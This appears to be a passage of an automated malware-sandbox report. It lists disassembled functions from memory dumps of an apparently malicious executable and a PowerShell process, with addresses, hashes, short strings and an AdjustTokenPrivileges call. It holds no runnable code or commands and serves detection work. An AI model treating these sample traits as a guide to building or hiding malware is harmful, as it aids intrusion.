Function 00725BB8, Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

fCl, xrefs: 00725CB6

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: fCl
API String ID: 0-625834680
Opcode ID: 4de22eb0181913e7dc038f7d25f72af012ada85701cf34cc8b480d4536f49fcf
Instruction ID: bd28bb352d9f0bcd2d14dab6b06a185dfd21f3d48584849de44596b46820e474
Opcode Fuzzy Hash: 4de22eb0181913e7dc038f7d25f72af012ada85701cf34cc8b480d4536f49fcf
Instruction Fuzzy Hash: 6B512430B042585FEB059BB4E8597AE7BE69F81304F148476E404DF3D2EB799C85C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00720048, Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

L&l, xrefs: 0072014E

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l
API String ID: 0-18547681
Opcode ID: 208080773da2067abf641f49850174506437b65074dc990f744a5b6137329a9a
Instruction ID: 6d67d36848011632e1f084d2a0e462dcae4c7d3e2780608081a2ed89c946d7d7
Opcode Fuzzy Hash: 208080773da2067abf641f49850174506437b65074dc990f744a5b6137329a9a
Instruction Fuzzy Hash: 2B41E630B042494FD756E778D825AAD3BF5DB86304F1584BAE108DB7A3DA68EC0A8761

Uniqueness

Uniqueness Score: -1.00%

Function 007231B0, Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

L&l, xrefs: 007231C6

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l
API String ID: 0-18547681
Opcode ID: 71b69697b44ac878dfdeeed5bb529194a701a076f0c1a6a33d63450455b8d213
Instruction ID: e52004fecab18d05854c0d23b1e88a708646a9e303bda8563afac1f0272ed018
Opcode Fuzzy Hash: 71b69697b44ac878dfdeeed5bb529194a701a076f0c1a6a33d63450455b8d213
Instruction Fuzzy Hash: 5F115E35F0011A9F8B41EBB9D855DAEB7F2FF883147108029E509EB764EB749D028B90

Uniqueness

Uniqueness Score: -1.00%

Function 007220B8, Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

L&l, xrefs: 007220CE

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: L&l
API String ID: 0-18547681
Opcode ID: fd00437aef0ae31f3ad691bbdfea6833b0729275b96d0175d83e8011657ed3ae
Instruction ID: 3ea47ee48f7e1ed6c9fe6df90c0f941d290e5e5f684ebce89021d3d32261a5bd
Opcode Fuzzy Hash: fd00437aef0ae31f3ad691bbdfea6833b0729275b96d0175d83e8011657ed3ae
Instruction Fuzzy Hash: 78118231F0011A9F8B41EBB8E855DAE77F2EF882047508429E109E7325EB349D028BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00723008, Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ddbfee1ad07e9c6156f824cb400b11406704a73138c07c19dc89bf4b178436a
Instruction ID: 9f04d82cadfc3fd7309d9f27f2d939ffb0288364936f82de1edb4578b8ec44db
Opcode Fuzzy Hash: 0ddbfee1ad07e9c6156f824cb400b11406704a73138c07c19dc89bf4b178436a
Instruction Fuzzy Hash: 4251F930A083489FD711CBA9D844AAEBFF5AF46300F1581AAE548EB352C739DD09CB60

Uniqueness

Uniqueness Score: -1.00%

Function 000BD48C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356518015.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91b265a080fea69349f41b8e45fb916dfe819b53c306d96867b7cd0c02d608e
Instruction ID: 8e98476c46bab1792101321c33ee4242358c9e0aa1ec29076a012deb0e8a7601
Opcode Fuzzy Hash: b91b265a080fea69349f41b8e45fb916dfe819b53c306d96867b7cd0c02d608e
Instruction Fuzzy Hash: 0C212875504604DFCB25DF10D8C0B9BFFA6FB94328F24856AD8050B206D336D846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000BD578, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356518015.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07e0e87af56dc92bc6189c3c12510dff5325dcacd0553b4d8cee6900651512f1
Instruction ID: c39bad2f8397e35003d743c9cbdc3fac38e3a954a11a0325c5ed560d66229a20
Opcode Fuzzy Hash: 07e0e87af56dc92bc6189c3c12510dff5325dcacd0553b4d8cee6900651512f1
Instruction Fuzzy Hash: E5213775504204DFCB25CF54D9C0B9AFFA5FB98328F34856AE8094B246D336D846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356620611.00000000001CD000.00000040.00000001.sdmp, Offset: 001CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce61b15bfafe8c582e6095fe46081ae65bf6a01ce2011dc4fa5185eae1f86775
Instruction ID: a8b82be70e66530ecd112c1fb4d869568c9e0dd355bc83f8681aac860f010fdd
Opcode Fuzzy Hash: ce61b15bfafe8c582e6095fe46081ae65bf6a01ce2011dc4fa5185eae1f86775
Instruction Fuzzy Hash: 5221D375604244DFCB14CF18E884F16BBA5EB94714F24C9BDE8494B646C336D817CA62

Uniqueness

Uniqueness Score: -1.00%

Function 001CE674, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356620611.00000000001CD000.00000040.00000001.sdmp, Offset: 001CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee5eee36836237b9e1c111e4f3ff203a7021e5da4f6199da87f126ab81b8cbc
Instruction ID: c5c38f4bec05ca6d93472514c594a17cd6d4cba7b1877372074525f0590d47a6
Opcode Fuzzy Hash: aee5eee36836237b9e1c111e4f3ff203a7021e5da4f6199da87f126ab81b8cbc
Instruction Fuzzy Hash: 6021F279604344EFCB04CF60D9C4F26BBA5FBA4718F24C9ADD8494B242C336E806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00725A20, Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2f3864c3be5eadbc092c1d99ac69f3b660e7bb6eb5a4d20b2d375967dd44df
Instruction ID: ecb7e0032338e71a8cdc6e00b10e4f3cf82b06499c144015084fae95d142c4cb
Opcode Fuzzy Hash: 7d2f3864c3be5eadbc092c1d99ac69f3b660e7bb6eb5a4d20b2d375967dd44df
Instruction Fuzzy Hash: 7E21E130E05258AFDB05DBB8E454ADD7BF6AF89314F1480A5E144BB392CB75AC08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CD006, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356620611.00000000001CD000.00000040.00000001.sdmp, Offset: 001CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef525085889b020852d3f1dfc3267f21f99bac7a389756a8a3ceef65201b583a
Instruction ID: 01226431dbb21a2dcc59bc9fbc37bb09516155d5c2e7779ffa0804c58a002ece
Opcode Fuzzy Hash: ef525085889b020852d3f1dfc3267f21f99bac7a389756a8a3ceef65201b583a
Instruction Fuzzy Hash: C22192754083809FCB02CF14E994B15BF71EB56314F28C5EAD8498F657C33AD816CB62

Uniqueness

Uniqueness Score: -1.00%

Function 000BD487, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356518015.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction ID: 6d8d2a9f08e52f496687264aa2fce777604702f79b1b6397f0ee83a9457c0dfa
Opcode Fuzzy Hash: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction Fuzzy Hash: 6511D376404644CFCB16CF14D9C4B56FFB2FB94324F24C6AAD8090B616C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 000BD573, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356518015.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction ID: 82fa0723e60968f9232de430931bb7dccae5d7d51e5e888e5af6c4631a33322f
Opcode Fuzzy Hash: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction Fuzzy Hash: 4F11D376404284CFCB12CF14D9C4B56FFB1FB95324F24C5AAD8094B616D336D856CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CE66F, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356620611.00000000001CD000.00000040.00000001.sdmp, Offset: 001CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c3f5bb668936d2efe1fd5f391589a95ba7ff612a20b3a2dc726edd9804e952
Instruction ID: b43d334d85aeed1a29b63400afe7b0209a3189b23775bcea9776726da8cbb863
Opcode Fuzzy Hash: 24c3f5bb668936d2efe1fd5f391589a95ba7ff612a20b3a2dc726edd9804e952
Instruction Fuzzy Hash: AA11BB79504380CFCB01CF10D5C4B15BBA2FB94314F28C6ADD8494B652C33AD80ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00725AED, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d183f12571483e41200afad47000a773e124f71b6d4b29b325d136fe849dac6d
Instruction ID: 5b49dbaf7dc5463f868c7af95c84177ff75662cad9191f9556ac5b7de4aeb01d
Opcode Fuzzy Hash: d183f12571483e41200afad47000a773e124f71b6d4b29b325d136fe849dac6d
Instruction Fuzzy Hash: B71118B5E011189FCB08CFA8E4946DCBBB2EF89325F245069E005A7351CB755D05CB55

Uniqueness

Uniqueness Score: -1.00%

Function 000BD795, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356518015.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2021fa5e05946525a39fe7551be34cf2aa37f484d5c1bcb45ff3169d8507d0c
Instruction ID: 38b577df3c4ef52a887a2511ce490103f3ff98e4d5b418745c99889ec20449d8
Opcode Fuzzy Hash: e2021fa5e05946525a39fe7551be34cf2aa37f484d5c1bcb45ff3169d8507d0c
Instruction Fuzzy Hash: B901846104C3449AD7608A55CC88BEBFFDCEF51724F28855BD9051B682E7799840C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 000BD794, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2356518015.00000000000BD000.00000040.00000001.sdmp, Offset: 000BD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 533219dbee006dced8cbab816e6023122315b7deb867e3d5c8d8c62ece650876
Instruction ID: 01343482bf2a626d531a7dfab7c874b58668be882eae136b5693428aa99e9725
Opcode Fuzzy Hash: 533219dbee006dced8cbab816e6023122315b7deb867e3d5c8d8c62ece650876
Instruction Fuzzy Hash: D6F0C2714083849EEB208E15C888BA3FFD8EB51324F28C55AEC081B282D3789C44CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00722117, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4995ff6f4ba047b836c20bf7170262391dd2c90ed09f3176e71659b4bec6584f
Instruction ID: d9c169997f46dc393ba13e48bbbff06fe8f9af2592b0f7e946d7d3d3a81df516
Opcode Fuzzy Hash: 4995ff6f4ba047b836c20bf7170262391dd2c90ed09f3176e71659b4bec6584f
Instruction Fuzzy Hash: 15E06D35B000199F8F81E7F8E855DEC73F2AF882247004065E21AE7360DE349D028B61

Uniqueness

Uniqueness Score: -1.00%

Function 00720197, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32f79734ef09b3584cc775ba24b17e74c5e84837220658dfb3094e209387e2f5
Instruction ID: b5f1eff7dabd12060f977963725565a12df41d86b51c81146a25a2dc8c3effa3
Opcode Fuzzy Hash: 32f79734ef09b3584cc775ba24b17e74c5e84837220658dfb3094e209387e2f5
Instruction Fuzzy Hash: 57E06D35B000188F8F81EBF9E8558DC73F2BF882207044062F21AE77A0DE34AE028B50

Uniqueness

Uniqueness Score: -1.00%

Function 0072320F, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dc2d8e62a33970d4dda0fb3a0f2f15b7054d0a1fd9710363e15158bc374703
Instruction ID: 9bb2e32c3b1e5d97f384f1c38f49d04685b01bde2e7f256fae2b0b08501185a4
Opcode Fuzzy Hash: 49dc2d8e62a33970d4dda0fb3a0f2f15b7054d0a1fd9710363e15158bc374703
Instruction Fuzzy Hash: 5CE0ED35B040199F8F81E7F9E8558DC77F2BF882647044065E51AE7764DE349E029B51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00720258, Relevance: 5.4, Strings: 4, Instructions: 433COMMON

Download Yara Rule

Strings

fCl, xrefs: 007205BD
(%l, xrefs: 00720495
L&l, xrefs: 00720273
L&l, xrefs: 00720915

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$L&l$fCl
API String ID: 0-1430602490
Opcode ID: 387e0ee58bd6ddffbea1672af56d7273b419fc4d482bf1877e2b145e855ba3e2
Instruction ID: 276d4454af8d53e1c87038eccbaf84ec13efb1e7c496c7f6fe5c7f40145b7d63
Opcode Fuzzy Hash: 387e0ee58bd6ddffbea1672af56d7273b419fc4d482bf1877e2b145e855ba3e2
Instruction Fuzzy Hash: 5E025034A002188FCB54EBB8D855B9EB7F6BF84304F218469E50ADB356DF349D85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 007239B0, Relevance: 7.8, Strings: 6, Instructions: 329COMMON

Download Yara Rule

Strings

(%l, xrefs: 00723D72
HZl, xrefs: 00723B1A
L&l, xrefs: 007239CB
LEl, xrefs: 00723C36
HZl, xrefs: 00723B8C
HZl, xrefs: 00723AA8

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$LEl$HZl$HZl$HZl
API String ID: 0-4165717141
Opcode ID: 828133d18739acba2c030e57282eaf1b39bdf2e548995e7d71c763ff6931994c
Instruction ID: 5204182e5d0ac5b87dccc2db3ac50a1f6f289b8a2a229a0bc6bed4f5b0ed0730
Opcode Fuzzy Hash: 828133d18739acba2c030e57282eaf1b39bdf2e548995e7d71c763ff6931994c
Instruction Fuzzy Hash: 7BD15974B042198FCB64DF74D890BAEB7B2AF88304F1085A9D509AB395DF749E85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00725020, Relevance: 5.3, Strings: 4, Instructions: 255COMMON

Download Yara Rule

Strings

(%l, xrefs: 0072515C
L&l, xrefs: 00725035
LEl, xrefs: 0072505B
L&l, xrefs: 007250CB

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$L&l$LEl
API String ID: 0-2652519262
Opcode ID: b118ae57ee196880ef38485fac479799ff3aaa578839642ef83c20418d350f24
Instruction ID: 964c099338084f0373a5aab607260b641524b3f44251049c49c123b785f0415d
Opcode Fuzzy Hash: b118ae57ee196880ef38485fac479799ff3aaa578839642ef83c20418d350f24
Instruction Fuzzy Hash: 44917E34B047198FCB14EFB1D850AAEB7F6AF84348F618928D5059F259EF749D028B90

Uniqueness

Uniqueness Score: -1.00%

Function 00725743, Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

LEl, xrefs: 0072580A
,, xrefs: 007257A0
(%l, xrefs: 007258E1
L&l, xrefs: 007257BD

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$LEl$,
API String ID: 0-2842101613
Opcode ID: 249f151560788f02a9f128d21427827893f2ef8387887be1d996cd38f2519377
Instruction ID: b43ef1f80c05969d4e0c8f08cdc2890794399fe625a9ca91f0516a84132629f1
Opcode Fuzzy Hash: 249f151560788f02a9f128d21427827893f2ef8387887be1d996cd38f2519377
Instruction Fuzzy Hash: 4951F034B046158FCB11ABB0D864AAE77F3EFC4304F158929D5019B795EF79ED428B80

Uniqueness

Uniqueness Score: -1.00%

Function 007232D0, Relevance: 5.1, Strings: 4, Instructions: 149COMMON

Download Yara Rule

Strings

(%l, xrefs: 00723464
HZl, xrefs: 00723412
HZl, xrefs: 007233BF
L&l, xrefs: 007232E7

Memory Dump Source

Source File: 00000013.00000002.2357876590.0000000000720000.00000040.00000001.sdmp, Offset: 00720000, based on PE: false

Similarity

API ID:
String ID: (%l$L&l$HZl$HZl
API String ID: 0-1837078286
Opcode ID: 7ffa68f0cbcb3fb9ecdda032df459b7b572b61aaa27ce583744938492a4811b6
Instruction ID: 81135ee22f994d35e91482a4fea17141da4b4605259a8486a588415291008389
Opcode Fuzzy Hash: 7ffa68f0cbcb3fb9ecdda032df459b7b572b61aaa27ce583744938492a4811b6
Instruction Fuzzy Hash: 2F51D070B002188FCB44EBB49454AAEB7E7AF88304B554978D90ADB795EF38DD428BD1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: e888z168ybTRefC409a4S5mn41ofdd.exe PID: 3036 Parent PID: 1388 e888z168ybTRefC409a4S5mn41ofdd.exeCOMMON

Executed Functions

Function 00330490, Relevance: 17.1, Strings: 13, Instructions: 829COMMON

Download Yara Rule

Strings

fCl, xrefs: 00330DB0
fCl, xrefs: 00330953
fCl, xrefs: 003306C1
fCl, xrefs: 00330DF3
fCl, xrefs: 0033112C
fCl, xrefs: 00330C14
fCl, xrefs: 00330617
fCl, xrefs: 00330FD8
fCl, xrefs: 0033097B
fCl, xrefs: 00331001
fCl, xrefs: 003304BC
fCl, xrefs: 00330C3D
fCl, xrefs: 00330702

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID: fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl
API String ID: 0-1904684503
Opcode ID: 753f8ce92d3d94a54b3473df20d3704bc1cf61d16bbc18ffcde0629d9458ed46
Instruction ID: 8f0b773ee1593294092bf347aee3ce1c82d9cac231ffd15d1b976bc956860f6a
Opcode Fuzzy Hash: 753f8ce92d3d94a54b3473df20d3704bc1cf61d16bbc18ffcde0629d9458ed46
Instruction Fuzzy Hash: 02526F3C3240285FDB0DA7A49511FAE35BBDB8C748F208839A406537ECCBB65C5AE765

Uniqueness

Uniqueness Score: -1.00%

Function 00330480, Relevance: 17.0, Strings: 13, Instructions: 793COMMON

Download Yara Rule

Strings

fCl, xrefs: 00330DB0
fCl, xrefs: 00330953
fCl, xrefs: 003306C1
fCl, xrefs: 00330DF3
fCl, xrefs: 0033112C
fCl, xrefs: 00330C14
fCl, xrefs: 00330617
fCl, xrefs: 00330FD8
fCl, xrefs: 0033097B
fCl, xrefs: 00331001
fCl, xrefs: 003304BC
fCl, xrefs: 00330C3D
fCl, xrefs: 00330702

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID: fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl
API String ID: 0-1904684503
Opcode ID: 444d4a748d3577cfbf8af576c4c835a491eaeb61f44565d8d6e5e6b025867951
Instruction ID: 90f94dabd765275e30c3906f12926a5940cb7adf851699a2c2368404875589c8
Opcode Fuzzy Hash: 444d4a748d3577cfbf8af576c4c835a491eaeb61f44565d8d6e5e6b025867951
Instruction Fuzzy Hash: 10526D3C3240285FDB0D67A49511FAE25BBEBCC748F208839A406537ECCBB65C5AA765

Uniqueness

Uniqueness Score: -1.00%

Function 00331240, Relevance: 11.9, Strings: 8, Instructions: 1936COMMON

Download Yara Rule

Strings

481m, xrefs: 003315A5
HZl, xrefs: 00331580
fCl, xrefs: 0033126C
fCl, xrefs: 003328B3
fCl, xrefs: 003315FF
p:Zl, xrefs: 003332AD
fCl, xrefs: 00331F59
p:Zl, xrefs: 003332A1

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID: 481m$fCl$fCl$fCl$fCl$p:Zl$p:Zl$HZl
API String ID: 0-1734140543
Opcode ID: ddb0343a8a0f1f8cfa84d446c631c7d1cb1863da9edf7394a603d1507a22a403
Instruction ID: 250ec11cccb7e789c2c2c5844e3d09f1a92b8b40c8ff04cf24f2581637e174e5
Opcode Fuzzy Hash: ddb0343a8a0f1f8cfa84d446c631c7d1cb1863da9edf7394a603d1507a22a403
Instruction Fuzzy Hash: 21E2CC3C3201285FDF0D67949911F9D35ABEB8C748F208839A402537ACDBB6589BFB55

Uniqueness

Uniqueness Score: -1.00%

Function 00333420, Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

fCl, xrefs: 0033343B

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID: fCl
API String ID: 0-625834680
Opcode ID: 1b2a8adc094411fb405ff162eb1b2bbb8e7de159650d74e86b7d3854f35ed301
Instruction ID: 160af5e30890f6fd740fc245d9b2cc8eed37db816736d79d2b7226eb4e8c9808
Opcode Fuzzy Hash: 1b2a8adc094411fb405ff162eb1b2bbb8e7de159650d74e86b7d3854f35ed301
Instruction Fuzzy Hash: 5031A0383442046FDB19DF219C91FAA7B63EBC8344F118924FA059B2E8CBB1AD25D790

Uniqueness

Uniqueness Score: -1.00%

Function 0033118A, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a15486148d2ec10351f743fa48160ceabda069aeff208bacf9f912256106d7e7
Instruction ID: dcc5b3a497663a825138401f0a5de5a868de65967a6a2ed05d1a5048196b5769
Opcode Fuzzy Hash: a15486148d2ec10351f743fa48160ceabda069aeff208bacf9f912256106d7e7
Instruction Fuzzy Hash: 31F0F434D04288EFCB55EFE4D985AECBFB2EB05344F6042A9D505A7A20DB715B84DB90

Uniqueness

Uniqueness Score: -1.00%

Function 003311F8, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c23b1c3d7544cf2dbb399bcf07d91f8b2dbb26698fefc8911d6ec3140831a2
Instruction ID: 9b68654cef1660f2351cbc530d3f03129e3b9b3860a01cd4e3cf3b81ca102476
Opcode Fuzzy Hash: 06c23b1c3d7544cf2dbb399bcf07d91f8b2dbb26698fefc8911d6ec3140831a2
Instruction Fuzzy Hash: DDE09B3510D3854FC322D765E8504D9BBF19F832587050AAED480CB956C765AE0E83A1

Uniqueness

Uniqueness Score: -1.00%

Function 003333E1, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50e826c1333b0f2f9c924b7b15fb86c293545e0ad39b45dd692cd70924ea9cab
Instruction ID: cd69fa3233a20758e6a5ea3971f7004f485edc16f0bb62f916584717009def37
Opcode Fuzzy Hash: 50e826c1333b0f2f9c924b7b15fb86c293545e0ad39b45dd692cd70924ea9cab
Instruction Fuzzy Hash: DFE0EC3460D7908FC703CB76D8A48903F306E56614B2686EBE448CB573D726D906CB12

Uniqueness

Uniqueness Score: -1.00%

Function 003333F0, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a710c451f69cb3950199c266bdeaed65365b84c5563642fb1a9b0608293d8e7
Instruction ID: b783b998c02b189e4978a41411784821b92f6f64133a1d8cfe29f04973e7f512
Opcode Fuzzy Hash: 7a710c451f69cb3950199c266bdeaed65365b84c5563642fb1a9b0608293d8e7
Instruction Fuzzy Hash: 5FD0A7387047148F8712DF66C8C085133A97F84B48B1381B1E4058F334DB32EC02C697

Uniqueness

Uniqueness Score: -1.00%

Function 00330457, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f3911497fa594244cfa67e3b333873e8b41a5f50b1df65942e3d07175089a3
Instruction ID: d9979fadde23bbacad41d240d9cad2e1a98a24b5e01a384a92b521fdc66a5659
Opcode Fuzzy Hash: a3f3911497fa594244cfa67e3b333873e8b41a5f50b1df65942e3d07175089a3
Instruction Fuzzy Hash: 44D0C91050E2C05FCB1357B108786592F60AD4310035D04DE90C18F0A3C4690619C763

Uniqueness

Uniqueness Score: -1.00%

Function 003333C0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2177084132.0000000000330000.00000040.00000001.sdmp, Offset: 00330000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9732b3df63fe1815654e5efdd50f7d76b99e54a5ff9257058965d9a853248212
Instruction ID: d7c552533a58956afda122e691d73ded8accbfe28b4c4568ef464e194c0db640
Opcode Fuzzy Hash: 9732b3df63fe1815654e5efdd50f7d76b99e54a5ff9257058965d9a853248212
Instruction Fuzzy Hash: 4AD012A040F7C01ECB4383369C789967F30584322838E22C7C2C98B0B7E209565CEB23

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 2344 Parent PID: 2948 powershell.exeCOMMON

Executed Functions

Function 01E1ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01E1AD37

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 1e3fe47001c9fab8d584fa72e2c724432d7473c69e33fa9d98e582477d762011
Instruction ID: a5de19920d3c669e4279e4a0bb475d2fc53e95ac06b7f255859e913756a8fee7
Opcode Fuzzy Hash: 1e3fe47001c9fab8d584fa72e2c724432d7473c69e33fa9d98e582477d762011
Instruction Fuzzy Hash: D221D3765097C09FEB138F25DC44BA2BFB4EF06314F0984EAE9848B163D231D908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01E1AD37

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: ce3a869aabfb84d5b3142f4237de01ed3678f938a92c7039104794f65eb73306
Instruction ID: dc17040b89585151bb2ffd89ff6776b037532cc7a72a2f7601f1cbbf41bb68fa
Opcode Fuzzy Hash: ce3a869aabfb84d5b3142f4237de01ed3678f938a92c7039104794f65eb73306
